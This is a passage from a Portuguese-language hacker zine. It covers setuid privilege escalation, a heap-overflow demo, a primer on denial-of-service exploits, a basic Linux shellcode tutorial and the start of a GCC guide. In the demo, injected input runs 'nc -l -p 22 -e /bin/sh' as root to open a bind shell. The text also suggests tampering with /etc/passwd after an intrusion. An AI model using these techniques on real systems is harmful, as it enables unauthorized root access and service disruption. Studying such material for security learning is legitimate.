usuario ser cadastrado nos arquivos /etc/passwd e /etc/shadow (arquivos que gravam dados dos usuarios, como senhas e identificadores). Se o UID do usuario emissor do comando adduser nao for '0', simplesmente temos um aviso de permissao negada. Setuid e' bem simples de ser entendido, este e' o comando para marcar arquivos com setuid: chmod +s /caminho/do/programa ls -l (long) fara' uma listagem completa do arquivo, voce vera' o 's' nas permissoes do file (identificador de aplicacao setada com bit de super usuario). 6_Bl4ck9_f0x6@Vipera:~/Desktop$ sudo chmod u+s vulnerable 6_Bl4ck9_f0x6@Vipera:~/Desktop$ ls -l vulnerable -rwsr-xr-x 1 root fox7 7558 2005-01-01 07:03 vulnerable O dono do programa acima (vulnerable) e' o usuario root, para marcar o bit suid sobre esse elf me utilizei do comando sudo, que possibilita a execucao de comandos como super usuario, pois apenas usuario com 'UID 0' podem emitir o comando chmod com o parametro +s (Que marca o bit suid). O que fiz acima foi setar o elf vulnerable para "executar comandos como usuario root" sem precisar estar logado com tal usuario. Observe o atributo 's' que representa o setuid, nesse caso o programa estara' com permissoes de root. Se o programa adduser estivesse marcado com bitsuid ( seu dono for root) voce podera' adicionar usuarios ao sistema como root. Para ver o UID de usuarios digite o comando 'id' seguido do nome de usuario ou apenas 'id' para ver o UID do usario corrente. Exemplo: 6_Bl4ck9_f0x6@Black_Machine:-$ id uid=1002(Black Fox) gid=1002(Black Fox) grupos=1002(Black Fox) Acima estou logado como usuario Black_Fox, meu UID e' 1002, nao posso adicionar usuarios ao sistema, porque meu UID nao e' zero. Digite 'su' (comando usado para mudar o usuario atualmente logado) na shell (interpretador de comandos), ele vai pedir senha, a digite e tecle [Enter], voce estara' como root e podera' marcar bit suid em qualquer elf. Se quiser se logar com qualquer outra conta basta digitar 'su outra_conta', se digitar apenas 'su', o Linux vai inferir que voce quer se logar como root. chmod +s /bin/adduser Isso acima faz com que o 'EUID' do adduser seja setado como 0, que e' o UID do user que emitiu o comando, que tambem e' dono da aplicacao (root). -- Nota --------------------------------------------------------------------- Na verdade nao vamos setar o "UID" do usuario corrente, pois programas que trabalham com setuid continuam sendo executados com o 'UID' de seu usuario/ executor. O que acontece e' que quando executamos um programa marcado com setuid, o Linux verificara' um atributo chamado 'EUID' - Efective User IDentification, ou simplesmente identificador "DE EXECUCAO", que vai estar setado com o UID de um usuario qualquer, '0' nesse caso. E' a IDentificacao efetiva de usuario, que setaremos. Quando executamos arquivos, o kernel verifica o UID do user, nao permitindo a execucao do elf caso a acao neces- site de UID 0. Entao a verificacao do EUID - ID de execucao, do arquivo, que sera' checada. Ainda existe o EGID que funciona de forma similar ao EUID, o que difere e' que EGID e' a identificacao de execucao de grupo. sh-3.1# id uid=0(root) gid=1008(fox7) egid=0(root) grupos=1008(fox7) ----------------------------------------------------------------------------- Para executar comandos com permissoes de root sem precisar ficar logado na conta, basta digitar o parametro '-c' do 'su', este parametro executa um comando com permissoes de um user e depois retorna ao user que chamou o comando. Exemplo: sh-3.1$ su root -c "comando" Password: Para fazer logout de uma conta acessada com o su basta que digite o comando exit para voltar ao usuario anterior. Todos os hackers visam arquivos com setuid root, sendo quase que obrigatorio uma busca com o find pelos mesmos no sistema apos uma invasao. Os perigos que cercam aplicacoes com bitsuid sao bastante relevantes, tome como exemplo uma 'app' vulneravel a Heap Overflow, ela tem o ID de execucao (EUID) igual a '0', isso significa que podemos usar este programa para executar nossos comandos no sistema com os privilegios de usuario root, explorando o mesmo. Procedimento esse demonstrado anteriormente. 6.1 - .Movie Temos acesso a uma conta nao privilegiada no sistema, de alguma forma estamos no sistema. No Linux portas abaixo de 1024 apenas podem ser aberta por admins/root, mas encontramos no sistema uma aplicacao com setuid root, ou seja, roda com o bit 'suid'. Esta aplicacao tem um bug de Heap Overflow. Abrindo portas abaixo de 1024 com o netcat: We have control on unprivileged account in the system, in Unix systems ports below 1024 only can be opened by root users (UID 0), but we found a application marked as root by the sysadmin and this application has a bug, heap overflow. Opening ports below 1024 with netcat: sh-3.1$ pwd /home/Black_Fox sh-3.1$ bash Black_Fox@Black_Machine:-$ id uid=1002(Black Fox) gid=1002(Black Fox) grupos=1002(Black Fox) Black_Fox@Black_Machine:-$ gcc -o overrun Buffer_Overrun.c /tmp/ccC9ImLu.o: In function `main': Buffer_Overrun.c:(.text+0x9b): warning: the `gets' function is dangerous and should not be used. Black_Fox@Black_Machine:-$ ls -la overrun -rwxr-xr-x 1 Black_Fox Black_Fox 7811 2008-10-30 11:49 overrun Black_Fox@Black_Machine:-$ su -c "chown root overrun; chmod +s overrun" Password: Black_Fox@Black_Machine:-$ ls -la overrun -rwsr-sr-x 1 root Black_Fox 7811 2008-10-30 11:49 overrun Black_Fox@Black_Machine:-$ nc -l -p 22 -vv -e /bin/sh Can't grab 0.0.0.0:22 with bind : Permission denied Black_Fox@Black_Machine:-$ ./overrun Endereco de memoria do seu nick: 134520840 Endereco da msg de boas vindas : 134520856 Insira seu nick:6_Bl4ck9_f0x6 Bem vindo a Matrix Black_Fox@Black_Machine:-$ ./overrun Endereco de memoria do seu nick: 134520840 Endereco da msg de boas vindas : 134520856 Insira seu nick:6_Bl4ck9_f0x6 ->nc -l -p 22 -vv -e /bin/sh listening on [any] 22 ... [+1]+ Stopped ./overrun Black_Fox@Black_Machine:-$ echo Obrigado Obrigado Black_Fox@Black_Machine:-$ fg 1 ./overrun ******************************************************** [img] http://www.hunterhacker.xpg.com.br/heap.png [/img] ******************************************************** Voce podera' fazer diversas acoes maliciosas nos sistemas invadidos atraves de uma aplicacao bugada, como inserir linhas no /etc/passwd ou fazer pequenas modificacoes no mesmo, como alteracao de UIDs de usario ( setando-o(s) para '0' por exemplo). Dependera' de seu nivel de conhecimento em Unixes em geral pois esse texto apenas demonstra como ocorre e como explorar tal falha de seguranca. No proximo texto demonstrarei tecnicas para descobertas de aplicacoes vulneraveis, que se utilizam de execl(), system() e syscalls do genero. 7.0 - Desenvolvendo exploits de Denial of Service Quando uma aplicacao retorna para um endereco de memoria invalido (stack overflow) ocorre o fechamento da aplicacao. O que sera' descrito abaixo e' apenas um simples guia para o desenvolvimento de ferramentas capazes de fechar servidores remotos, sem a minima pretencao de exploracao para obtencao de shell ou bind de portas para um posterior acesso. Toda a ba- se desses exploits (ou uma grande parte deles) escritos em C, e' a mesma. O memset(); - set memory - setar memoria. Prototipo: memset (string_destino, 'caractere', numero_de_bytes_a_setar); Isso equivale a setar a memoria no endereco da string de destino. A base dos exploits de D.o.S (Como de overflow em geral) e' enviar um buffer muito grande, "normalmente" (quando se trata de servidores de FTP) devemos mandar ('send()') o comando que nao gerencia dados de forma adequada pela aplicacao servidora, ou seja, na aplicacao remota existe um buffer que nao possui um limite de dados para alocacao na memoria, o que precisamos fazer e' mandar dados de forma a lotar a area de memoria remota responsavel pela construcao do stack frame de alguma funcao, com a pretencao de alcancarmos o endereco de retorno e faze-lo retornar para uma regiao de memoria "invalida". Brevemente estarei lhes mostrando como achar enderecos estaticos nas APIs para "exploracao" remota. Por hora o intuito e' der- rubar o servidor, depois da emissao de muitos dados. Bem, como ja mencionado precisaremos enviar um buffer suficientemente grande logo apos um comando ('por exemplo') interpretado pelo servidor, assim fazendo um dado numero de bytes iniciais fazerem com que aja chamadas para funcoes internas no programa, assim fazendo o mesmo entrar em crash (fechar), devido ao nao controle do fluxo de dados para seus respectivos stack frames na memoria. -- cut -- #include #include int caracters; main (){ char setp[50]="The final result: "; caracters=strlen (setp); // <-- Atribui o numero de bytes da variavel memset (setp +caracters, 'S', 0x10); // 10 (hexadecinal) equivale a 16 em decimal puts (setp); // Imprime o buffer na tela system ("pause"); } -- cut -- Result: The final result: SSSSSSSSSSSSSSSS Pressione qualquer tecla para continuar. . . Nesse exemplo tenho um buffer local que suporta 50 bytes, poderia enviar o comando seguido do buffer cheio de S's, mas para isso teria que usar a funcao memset e determinar o numero de bytes logo apos o comando, caso contrario o 'memset()' sobrescrevereria o comando, veja este trecho: caracters=strlen (setp); Note que pego o numero de bytes da variavel setp. memset (setp +caracters, 'S', 0x10); Comeco a setar a memoria a partir do numero de bytes definido na variavel caracteres. Utilizo no primeiro parametro da funcao o '+caracteres', ou seja, o exploit escrevera' no buffer de destino 'a partir' do numero de letras da variavel. Espacos em branco entre uma palavra e outra na mesma string equivalem a caracteres. Veja: char exemplo[]="ABOR "; Veja que existe um espaco depois da letra 'R'. Existe uma versao do Sami FTP vulneravel a este comando seguido de muitos bytes (Stack Overflow), como tantos outros servidores. 8.0 - Useful links and reference ============================================================ Tutorial Basico do gcc e entendendo as etapas de compilacao Link: http://www.hunterhacker.xpg.com.br/gcc_tuto_2.txt ------------------------------------------------------------ Buffer Overflow by Andre Amorim Parte1: Link: http://www.hunterhacker.xpg.com.br/Pen1.rar Senha: myloveluz Parte2: Link: http://www.hunterhacker.xpg.com.br/Pen2.rar Senha: myloveluz Acesse: www.metasploit-br.org ============================================================ Um cordial abraco. []`s by 6_Bl4ck9_f0x6 - Viper Corp Group ----- C4p1Tul0 11 [+ ======X============X===============X===== +] Introduction to shellcoding for linux [+ ======X============X===============X===== +] Alow, toh treinando meu ingles de butquim... Texto escrito originalmente para o 'clube do hacker' elite underground hardcore potente da internet rlz da vida e tals, a pedido do underground mais underground haxor 3l1t3 entendedor de redes dos fake pagers do world of the lames hat que eu ja vi na vida. -----> http://www.clubedohacker.com.br/forum/ Olah amigos, estou aqui para lhes dar uma breve introducao ao desenvolvimento de shellcodes, a pedido de nosso amigo "zeh Longas" (The fake page man). Espero que isso possa ser tao util quanto criar paginas falsas e distribuir em forums de "segurança" da informacao(?), tecnolo- gias em geral(?), etc. Bem, sem saber isso voce nao vai conseguir explorar alguma falha de stack overflow, a.k.a: Buffer overflow. Nem explorar nenhum tipo de falha que necessite da utilizacao de linguagem de maquina, ou seja: Se voce nao sabe fazer shellcode, voce nao sabe fazer exploit, e se voce nao sabe fazer exploit, voce nao eh feliz =) Vale lembrar que este texto eh o basico do basico, aqui voce nao vai aprender sobre syscalls como execve, setuid e essas paradinhas. Escrevi este texto apenas p/ vc ter uma melhor nocao do que eh shellcode. Agora trabalharemos com linguagem de maquina purissima, a.k.a: Shellcode. Voces verao q nao eh tao dificil assim desenvolver shellcodes (Soh basta um pouco d inteligencia). Basicamente devemos conhecer os parametros da syscall a ser utilizada. Vou tomar como exemplo a syscall "write" (Nao tenho a man page do write, por isso "citarei" a man page desta syscall de outro .txt writed by IP_FIX - White Hat corja): For see syscall table: /usr/include/asm/unistd.h /* * This file contains the system call numbers. * * Note: holes are not allowed. */ Repito, nao tenho essa man page inutil: Black_Fox@Black_Machine:~$ man 2 write Nenhuma entrada de manual para write na seção 2 Citar: root@motdlabs:~/IP_FIX/shellcode# man 2 write ssize_t write(int fd, const void *buf, size_t count); Como voce pode ver acima o white hat tem a manual page. Enfim, o fd representa o stream STDOUT, se voce for um programador voce provavelmente saberah do que se trata. O segundo parametro eh a string a ser impressa na tela e o ultimo (size_t count) eh o tamanho da string, ou seja, eh aqui que definimos quantos bytes da string serao impressos na shell. Vamos ver como eh isso em C: -- write.c -- /* * * "baka" code, coded by 6_Bl4ck9_f0x6 (O gostosao do forró) * * Thank'x for all guys from BlackHat-Forums * * ---[ http://wWw.blackhat-forums.com ]--- * */ #include /* Unix Standard */ #include /* strlen() */ int main (){ char *str="Elite Underground Teem\n"; write (0x01, str, strlen (str)); return 0; } -- cut here -- Black_Fox@Black_Machine:~$ mcedit write.c Black_Fox@Black_Machine:~$ gcc write.c -o write -Wall Black_Fox@Black_Machine:~$ ./write Elite underground teem Black_Fox@Black_Machine:~$ Bem, como voce pode ver essa syscall eh bem simples. Acho que voces ja conhecem a exit, neh? Entao, acho que nem preciso falar da exit. Basicamente eh assim, os registradores de uso geral que serao utilizados para armazenar os parametros da syscall. A ordem eh a seguinte: +-----------------------+ |%eax, %ebx, %ecx, %edx | +-----------------------+ Se por algum acaso a syscall possuir mais q 4 parametros, os coloque nos seguintes registradores: +-----------+ |%esi e %edi| +-----------+ In this order (Nesta ordem) =] Agora vamos fazer outra citacao ao texto do white hat: Repare no %esX ------------------------------------------------------------------+ | V _____________________________________________________________________________________________ |%eax| Name | Source | %ebx | %ecx | %edx | %esx | %edi | ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' | 1 | sys_exit | kernel/exit.c | int | | | | | | 4 | sys_write | arch/i386/kernel/process.c | unsigned int | char * | size_t | | | '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' OBS: Veja que o white hat ateh colocou o path do source Como voce pode ver o numero da syscall exit eh 1, e da syscall write eh o 4, ambos devem ficar em %eax (na sintaxe 'AT&T' devemos utilizar a notacao '%' para nos referirmos aos registradores) e seus parametros nos outros ja citados registradores, o retorno da syscall eh armazenado em %eax. Entao vamos ver como fazemos isso em assembly antes de pegarmos os "opcodes". -- cut -- #include #include #include main (){ __asm__ ( /* Syscall write */ "MOV $0x04, %eax \n" // <-- This is the number of syscall write "MOV $0X01, %ebx \n" // <-- As you can see, here is STDOUT (Standard output) representation "PUSH $0x0a \n" // <-- Em hexadecimal o \x0a corresponde ao LF (\n) -> send to stack "PUSH $0x41414142 \n" // <-- Empurramos 4 bytes (hardware de 32 bits) para o topo da stack [string] "MOV %esp, %ecx \n" // <-- Movemos a string apontada por stack pointer p/ o count register "MOV $0x06, %edx \n" // <-- Move the size of the string for to data register (+ bit de paridade) "int $0x80 \n" // <-- Interrupcao que executa syscalls [use a notacao '$' em AT&T] /* Syscall exit */ "MOV $0x01, %eax \n" // <-- Syscall number "MOV $0x0, %ebx \n" // <-- status de saída "int $0x80 \n" // <-- Interrupcao para execucao de dados. ); puts ("KimeraSux\n The Nash are completely died\n"); } -- cut -- Voce entendeu neh? Bem, se voce nao for um macaco burro deve ter entendido, mas se nao entendeu eu te jogo uns amendoins depois. Vamos compilar isso ae em cima e ver no que isso vai dar. Ei ei ei, vale lhes lembrar q: Devemos lembrar de sair (exit) no final de nossos comandos em shellcode, caso contrario -> Vai dar pau. Black_Fox@Black_Machine:~$ gcc -Wall w_assembly.c w_assembly.c:5: warning: return type defaults to 'int' w_assembly.c: In function 'main': w_assembly.c:29: warning: control reaches end of non-void function Black_Fox@Black_Machine:~$ ./a.out BAAA Black_Fox@Black_Machine:~$ Repare que os dados devem ser postos no stack de tras pra frente. Se voce quiser que sua string faca sentido. "PUSH $0x41414142 \n" Em hexadecimal o 'B' eh representado por '\x42'. Ele que foi o primeiro a ser impresso. Agora vamos pegar os opcodes, q sao os codigos de maquina propriamente dito. Utilizarei o objdump (por hora) ao inves do gdb para obter os mesmos. Black_Fox@Black_Machine:~$ whereis objdump objdump: /usr/bin/objdump /usr/X11R6/bin/objdump /usr/bin/X11/objdump /usr/share/man/man1/objdump.1.gz Black_Fox@Black_Machine:~$ Utilizarei a opcao -d Black_Fox@Black_Machine:~$ objdump --help | more -d, --disassemble Display assembler contents of executable sections Black_Fox@Black_Machine:~$ objdump -d a.out a.out: file format elf32-i386 Disassembly of section .init: .................... 08048354
: 8048354: 8d 4c 24 04 lea 0x4(%esp),%ecx 8048358: 83 e4 f0 and $0xfffffff0,%esp 804835b: ff 71 fc pushl 0xfffffffc(%ecx) 804835e: 55 push %ebp 804835f: 89 e5 mov %esp,%ebp 8048361: 51 push %ecx 8048362: 83 ec 04 sub $0x4,%esp 8048365: b8 04 00 00 00 mov $0x4,%eax 804836a: bb 01 00 00 00 mov $0x1,%ebx 804836f: 6a 0a push $0xa 8048371: 68 42 41 41 41 push $0x41414142 8048376: 89 e1 mov %esp,%ecx 8048378: ba 06 00 00 00 mov $0x6,%edx 804837d: cd 80 int $0x80 804837f: b8 01 00 00 00 mov $0x1,%eax 8048384: bb 00 00 00 00 mov $0x0,%ebx 8048389: cd 80 int $0x80 Como voce pode ver esta eh a funcao principal "disassemblada". Vamos pegar os codigos que nos fizemos em assembly. Os dados que escrevemos vao do endereco de memoria 0x'8048365' ateh 0x'8048389'. Como voce deve ter reparado quando nos disassemblamos um programa podemos ver seus codigos em assembly, e ja que escrevemos os codigos em assembly veremos nosso codigo em estado puro. O objdump divide os dados em 3 partes, ambos serao descritos abaixo, veja: +------------------------------------------------------------+ | Address | Hexdump (opcode) | Instruction | +------------------------------------------------------------+ | 8048354: | 8d 4c 24 04 |lea 0x4(%esp),%ecx | +------------------------------------------------------------+ Vamos pegar os opcodes dessas syscalls e fazer nosso shellcode. -- cut -- #include #include #include char global_shellcode[] = "\xb8\x04\x00\x00\x00\xbb\x\01\x00\x00\x00" "\x6a\x0a\x68\x42\x41\x41\x41\x89\xe1\xba" "\x06\x00\x00\x00\xcd\x80\xb8\x01\x00\x00" "\x00\xcd\x80"; main(){ void (*executa)()=(void *)global_shellcode; executa(); } -- cut -- The result is: Black_Fox@Black_Machine:~$ gcc shellcode_1.c -o shellcode -Wall shellcode_1.c:15: warning: return type defaults to 'int' shellcode_1.c: In function 'main': shellcode_1.c:20: warning: control reaches end of non-void function Black_Fox@Black_Machine:~$ ./a.out BAAA Black_Fox@Black_Machine:~$ Veja: ******************************************************************* = [img] http://www.hunterhacker.xpg.com.br/shellcodeX.jpg [/img] = ******************************************************************* Esse shellcode serve apenas para demontracao, mas quando nos quisermos usar o mesmo p/ a exploracao de alguma falha, nao daria muito certo porque existem muitos NULL bytes (\x00) que marcam a final de uma string. Uma solucao para isso seria usar a instrucao 'XOR' eh usarmos apenas as partes baixas dos registradores. Basicamenteo um registrador de 32 bits (%'e'ax) possui uma parte alta de 16 bits e uma parte baixa tambem de 16 bits. Essa seria a representacao ideal amigos: %eax = 0000 0000 0000 <-- High side <--> 0000 <-- Low side Entao precisariamos apenas usar a parte baixa dos mesmos. Eu fiz um brincadeira no 'ISTF' e muitas pessoas interpretaram mau: -----> http://www.istf.com.br/ Nesse post acima brinquei com esse esquema de "high" e "low". Na verdade na sintaxe AT&T a instrucao MOVL movimenta um "long". Podemos definir quantidades de dados a serem manipulados de varias formas, tais como MOVB (Move Byte [ 8 bits ]), MOVW (Move Word [move 16 bits]) e tals. Para "maiores informacoes" consulte o link [1] no final deste texto. Para eliminarmos os NULL bytes eh muito facil. Abaixo segue uma das formas. -- cut -- #include #include #include main (){ __asm__ ( "XOR %eax, %eax \n" // <-- Repare aqui. Se quiser use o xorl <-- Repare no 'l' (\x40) "MOV $0x04, %al \n" // <-- Retiramos o 'e' de %eax e inserimos o 'l' - Low side "XOR %ebx, %ebx \n" // <-- %ebx = 0000 0000 "MOV $0x01, %bl \n" // <-- low side of the %ebx "PUSH $0x0a \n" // <-- LF (\n) -> send to stack "PUSH $0x41414142 \n" // <-- string "MOV %esp, %ecx \n" // <-- Ja q a string eh muito grande movemos a tring p/ %'e'cx (all) "MOV $0x06, %dl \n" // <-- Length of the string "int $0x80 \n" // <-- Call "XoR %eax, %eax \n" // <-- 00000000 "inc %eax \n" // <-- Incrementamos o %eax; %eax = 0000 0001. Se quiser use o 'incl' "XOR %ebx, %ebx \n" // <-- Zeramos o register %ebx "int $0x80 \n" // <-- Interrupcao para execucao de dados. ); puts ("KimeraSux\n The Nash are completely died\n"); } -- cut -- Repare que primeiramente zero o registrador %eax - Isso se faz "necessario", pois vamos manipular apenas a parte baixa do mesmo na instrucao seguinte. Vale lembrar que quando estamos escrevendo codigos em assembly nao precisaremos nos preocupar (nesse caso) com o formato das instrucoes, pois as mesmas nao sao case sensitives e tambem perceba q nao utilizo instrucoes do tipo "MOV $0x0, %ebx \n" // <-- Que movimenta null bytes diretamente Veja o hexdump agora 8048365: 31 c0 xor %eax,%eax 8048367: b0 04 mov $0x4,%al 8048369: 31 db xor %ebx,%ebx 804836b: b3 01 mov $0x1,%bl 804836d: 6a 0a push $0xa 804836f: 68 42 41 41 41 push $0x41414142 8048374: 89 e1 mov %esp,%ecx 8048376: b2 06 mov $0x6,%dl 8048378: cd 80 int $0x80 804837a: 31 c0 xor %eax,%eax 804837c: 40 inc %eax 804837d: 31 db xor %ebx,%ebx 804837f: cd 80 int $0x80 Estamos livres de nullbytes. Vamos compilar e pegar os opcodes com o gdb agora. Black_Fox@Black_Machine:~$ gcc ex.c -Wall -o shellcode ex.c:5: warning: return type defaults to 'int' ex.c: In function 'main': ex.c:28: warning: control reaches end of non-void function Black_Fox@Black_Machine:~$ ./shellcode BAAA Black_Fox@Black_Machine:~$ Esses warnings aparecem porque nao especifiquei o tipo da funcao principal (int) e nem especifiquei um retorno para a funcao. Vale lhe lembrar que '1' representa um status de saida problematico do programa (EXIT_FAILURE) enquanto o '0' representa o sucesso (EXIT_SUCCESS). -- stdlib.h -- /* * These values may be used as exit status codes. */ #define EXIT_SUCCESS 0 #define EXIT_FAILURE 1 -- cut -- Na linguagem binaria 1 e 0 representam verdadeiro e falso respectivamente. Bem, primeiramente vamos disassemblar o code. kimera@kurumin:~$ cd Desktop/ Black_Fox@Black_Machine:~$ gdb shellcode GNU gdb 6.7.1 Copyright (C) 2007 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) disassemble main Dump of assembler code for function main: 0x08048354 : lea 0x4(%esp),%ecx 0x08048358 : and $0xfffffff0,%esp 0x0804835b : pushl -0x4(%ecx) 0x0804835e : push %ebp 0x0804835f : mov %esp,%ebp 0x08048361 : push %ecx 0x08048362 : sub $0x4,%esp 0x08048365 : xor %eax,%eax 0x08048367 : mov $0x4,%al 0x08048369 : xor %ebx,%ebx 0x0804836b : mov $0x1,%bl 0x0804836d : push $0xa 0x0804836f : push $0x41414142 0x08048374 : mov %esp,%ecx 0x08048376 : mov $0x6,%dl 0x08048378 : int $0x80 0x0804837a : xor %eax,%eax 0x0804837c : inc %eax 0x0804837d : xor %ebx,%ebx 0x0804837f : int $0x80 0x08048381 : movl $0x80484a8,(%esp) 0x08048388 : call 0x804827c ---Type to continue, or q to quit--- "disassemble main" eh o comando utilizado. Tendo em vista que "main" eh a funcao principal, ou seja, o Entry Point de nosso "programa". Veja que nossas instrucoes comecam a partir do endereco 0x08048365 () ate '0x0804837f'(:). Vamos buscar nossos opcodes agora. Como falei, vamos usar o 'gdb' ao inves do objdump. Black_Fox@Black_Machine:~$ gdb shellcode GNU gdb 6.7.1 Copyright (C) 2007 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) x/xb main+17 0x8048365 : 0x31 (gdb) 0x8048366 : 0xc0 (gdb) 0x8048367 : 0xb0 (gdb) 0x8048368 : 0x04 (gdb) 0x8048369 : 0x31 (gdb) ... Para pegar os opcodes use o comando 'x/xb' mais o main+17 (Nesse caso). Emita o comando e pressione a tecla [Enter] ateh alcancar o endereco final (main+43), mas existe um detalhe: 0x0804837c : inc %eax 0x0804837d : xor %ebx,%ebx 0x0804837f : int $0x80 0x08048381 : movl $0x80484a8,(%esp) Repare que a instrucao de endereco 0x0804837f possui dois bytes (4 digitos em hexadecimal), portanto, devemos pressionar [Enter] ateh pegarmos todo o opcode desta intrucao, eh bem simples calcular o endereco de memoria. ... (gdb) 0x804837e : 0xdb (gdb) 0x804837f : 0xcd (gdb) 0x8048380 : 0x80 (gdb) Veja que pego o opcode ateh o endereco de 'main+44', pois a proxima instrucao (main+45) ultrapassa os codigos que digitamos em assembly. Vamos montar o nosso shellcode. Resultado final: -- cut -- #include #include #include char shellcode_rlz [] = "\x31\xc0\xb0\x04\x31\xdb\xb3\x01" "\x6a\x0a\x68\x42\x41\x41\x41\x89" "\xe1\xb2\x06\xcd\x80\x31\xc0\x40" "\x31\xdb\xcd\x80"; int main (){ void (*call_shellcode)(); // <-- Criamos entao um ponteiro para funcao call_shellcode=(void *)shellcode_rlz; // <-- Apontamos os opcodes para o pointer call_shellcode(); // <-- Executamos o shellcode puts ("Ter uma familia eh uma arte\n"); return 0; } -- cut -- Compilacao e execucao Black_Fox@Black_Machine:~$ gcc shellcode.c -o shellcode -Wall Black_Fox@Black_Machine:~$ ./shellcode BAAA Black_Fox@Black_Machine:~$ Vou ficando por aqui meus amigos, mas gostaria de dizer que estou preparando algo para voces com relacao a shellcodes. Pretendo publicar brevemente um paper sobre shellcode descrevendo detalhadamente o esquema, ainda pretendo escrever o que voces precisarao saber de assembly no inicio do paper. Esse texto foi apenas uma "demonstracao" para um caramadinha ae =7 Link's Abaixo segue alguns link's p/ vc's entenderem mais sobre a "importancia" de se aprender desenvolver shellcodes. Gostaria de lhes informar mais uma vez q estou escrevendo algo mais avancado sobre shellcoding, com mais exemplos de syscalls e muito mais informacoes para voces. Enfim, segue os tais links: +---------------------- >>> -----+ Entendendo as sintaxes INTEL e AT&T +----- >>> ----------------------+ [1] - http://www.w00w00.org/ +---------------------- >>> -----+ Algo sobre Heap [2] - www.hunterhacker.xpg.com.br/Extras.zip fonte: www.defcon.org +---------------------- >>> -----+ Dica do dia: Quando forem configurar algum filtro de URL, nao esquecam de bloquear web proxys ("Famosos"). how www.anonymouse.org . ps: Para os que nao me conhecem gostaria de dizer q costumo ser meio "sarcastico". http://www.hunterhacker.xpg.com.br/mina_mistery.JPG []'s by 6_Bl4ck9_f0x6 - Viper Corp Group [+ =======X=============X===========X====== +] Viper Corp Group Brazilian Underground Security Titulo: Tutorial basico do GCC Autor : David Diego D. F. Siqueira A.k.a : 6_Bl4ck9_f0x6 (Raposa Negra) Email : b-fox@bol.com.br [+ =======X=============X===========X====== +] "A livre expressao eh o que constroi uma nacao independentemente da moeda e sua cotacao". -- Rodolfo (Raimundos) 1.0 - Tutorial basico do GCC 2.0 - Introducao 2.1 - Algumas extensoes RECONHECIDAS pelo gcc 2.2 - Alguns parametros do gcc 3.1 - Entendendo as etapas de compilacao 3.2 - 1 Etapa - Pre-processador (Pre-processamento) 3.3 - 2 Etapa – Compilador 3.4 - 3 Etapa – Assembler 3.5 - 4 Etapa – Ligacao/Associacao - Linker (Linkador) 2.0 - Introducao O que se segue eh um pequeno tutorial que escrevi sobre o GCC (que sem duvida nenhuma eh o compilador mais utilizado por analistas de seguranca do mundo todo) por ser uma ferramenta quase que indispensavel para qualquer desenvolvedor de softwares. A sigla GCC significa GNU Compiler Collection ou 'em portugues': 'Colecao de Compiladores GNU'. Isso se deve ao fato do GCC possuir varias versoes com suporte a linguagens como C, C++, Java, Treelang, Fortran, Ada e Objective-C. A sigla GCC eh bem abrangente, pois GCC tambem significa 'GNU' C Compiler, Compilador 'C' GNU, propriamente dito. Neste tutorial utilizarei o mesmo sobre a plataforma Windows/W32. GCC apesar de ser uma ferramente nativa de sistemas Unix e inclusive ambientada para tal, nao eh a unica ferramente portada para W32 bits, existem muitas outras "ferramentas Unix" que foram portadas para Windows, como os comandos touch, cp, cat e mv. Voce poderah baixa-lo separadamente ou para utiliza-lo tambem poderah baixar o IDE 'Dev-C++' mediante a licensa GNU GPL - 'GENERAL PUBLIC LICENSE' em http://www.bloodshed.net . Esta licenca de uso preve que voce poderah ter acesso completo ao codigo fonte do programa, utiliza-lo, direito a redistribuicao do mesmo, alteracao de codigo fonte de acordo com suas necessidades desde que voce compartilhe com a comunidade suas modificacoes e ainda lhe da o "total direito de venda" sobre o software, tambem dando aos compradores os mesmos direitos sobre o mesmo. Isso tudo desde que mantenha-se os creditos do criador original. Voce ainda poderah contribuir financeiramente com este excelente projeto, contudo, nao existe obrigatoriedade alguma junto a isso. Como anteriormente mencionado voce poderah usar o gcc se utilizando do editor default do Dev-C++ ou poderah acessar seu binario diretamente, indo ao diretorio '\Dev-Cpp\bin' com o comando 'cd' ou poderah inserir este diretorio no PATH de seu sistema, onde poderah chamar o mesmo de qualquer parte do terminal. Para isso edite o arquivo de inicializacao '\autoexec.bat', inserindo as seguintes linhas: PATH=%path%;\Dev-Cpp\bin Depois faca logoff para atualizar o registro e as alteracoes surtirem efeito ou digite esse comando no shell mesmo e comece a usa-lo. Voce encontrarah o 'GCC' em qualquer distribuicao linux "decente" por padrao. Voce poderah encontrar as ferramentas citadas abaixo nesse mesmo diretorio. As utilizacoes do conhecimento aqui descrito sao quase que infindaveis, se tra- tando do ponto de vista de seguranca e de um completo entendimento sobre os processos que envolvem a criacao de um binario, binario(s) esse(s) que serao alvo de nossos debugging no intuito de obtencao de falhas de programacao para um posterior processo de exploracao. Veja a versao utilizada: C:\Documents and Settings\David>gcc --version gcc (GCC) 3.4.2 (mingw-special) 2.1 - Algumas extensoes RECONHECIDAS pelo gcc Extensao - Comentario .c - Codigo fonte escrito em C .C .cc - Codigo fonte escrito em C++ .i - Software em C pre-processado .ii - Software em C++ pre-processado .S .s - Software em linguagem assembly .o - Arquivo/programa objeto .a .so - Estas sao as bibliotecas compiladas OBS: .cpp (ou .CPP) eh a extensao p/ arquivos "supostamente" escritos em C++ in the Dev-C++. 2.2 - Alguns parametros do gcc -E --- > Gera um arquivo pre-processado (Extensao .i) -S --- > Gera um arquivo em Assembly -o --- > Determina o nome do arquivo de saida/output. (Padrao: a) -c --- > Gera um arquivo objeto ( .o) -l --- > Determina o diretorio de busca por headers -L --- > Determina o diretorio de buscas por bibliotecas -lwsock32 --- > Linka a biblioteca wsock32 (Por exemplo) a um arquivo -Wall --- > Mostra todas as mensagens d Warning (Advertencia/Aviso). -w --- > Enibe as mensagens de warning -Werror --- > Converte mensagens de waning em erro. -v --- > Mostrar os comandos usados no processo de compilacao. 3.1 - Entendendo as etapas de compilacao Antes de termos o arquivo executavel gerado(Extensao exe em windows elf em ambientes Unix) nossos codigos passarao por algumas etapas, quatro 